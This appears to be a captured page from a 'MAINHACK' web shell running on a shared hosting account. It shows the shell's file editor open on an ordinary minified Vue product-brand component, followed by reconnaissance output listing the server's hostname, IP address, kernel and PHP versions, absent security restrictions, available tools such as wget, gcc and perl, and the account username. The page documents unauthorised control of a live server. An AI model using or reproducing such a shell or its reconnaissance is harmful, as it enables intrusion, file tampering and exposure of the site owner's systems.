[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: 3043.js
"use strict";(self.webpackChunk=self.webpackChunk||[]).push([[3043],{3043:(t,e,r)=>{r.r(e),r.d(e,{default:()=>E});var n=r(9726),o={class:"db-card"},a={class:"db-card-header"},s={class:"db-card-title"},i={class:"db-card-body"},c={class:"row"},l={class:"col-12 sm:col-5"},d=["src"],u={class:"col-12 sm:col-7 md:pl-8"},m={class:"text-lg font-medium capitalize mb-2 text-paragraph"},p={class:"db-light-text"};var b=r(5475),f=r(6884),v=r(8655);function y(t){return y="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},y(t)}function g(t,e,r){return(e=function(t){var e=function(t,e){if("object"!=y(t)||!t)return t;var r=t[Symbol.toPrimitive];if(void 0!==r){var n=r.call(t,e||"default");if("object"!=y(n))return n;throw new TypeError("@@toPrimitive must return a primitive value.")}return("string"===e?String:Number)(t)}(t,"string");return"symbol"==y(e)?e:e+""}(e))in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}const h={name:"ProductBrandShowComponent",components:{LoadingComponent:b.A},data:function(){return{loading:{isActive:!1},enums:{statusEnum:f.A,statusEnumArray:g(g({},f.A.ACTIVE,this.$t("label.active")),f.A.INACTIVE,this.$t("label.inactive"))}}},computed:{productBrand:function(){return this.$store.getters["productBrand/show"]}},mounted:function(){var t=this;this.loading.isActive=!0,this.$store.dispatch("productBrand/show",this.$route.params.id).then(function(e){t.loading.isActive=!1}).catch(function(e){t.loading.isActive=!1})},methods:{statusClass:function(t){return v.A.statusClass(t)}}};const E=(0,r(6262).A)(h,[["render",function(t,e,r,b,f,v){var y=(0,n.resolveComponent)("LoadingComponent");return(0,n.openBlock)(),(0,n.createElementBlock)(n.Fragment,null,[(0,n.createVNode)(y,{props:f.loading},null,8,["props"]),(0,n.createElementVNode)("div",o,[(0,n.createElementVNode)("div",a,[(0,n.createElementVNode)("h3",s,(0,n.toDisplayString)(t.$t("menu.product_brands")),1)]),(0,n.createElementVNode)("div",i,[(0,n.createElementVNode)("div",c,[(0,n.createElementVNode)("div",l,[(0,n.createElementVNode)("img",{class:"db-image",alt:"brand",src:v.productBrand.cover},null,8,d)]),(0,n.createElementVNode)("div",u,[(0,n.createElementVNode)("h3",m,(0,n.toDisplayString)(v.productBrand.name),1),(0,n.createElementVNode)("label",{class:(0,n.normalizeClass)(["db-badge mb-3",v.statusClass(v.productBrand.status)])},(0,n.toDisplayString)(f.enums.statusEnumArray[v.productBrand.status]),3),(0,n.createElementVNode)("p",p,(0,n.toDisplayString)(v.productBrand.description),1)])])])])],64)}]])}}]);
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.87 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285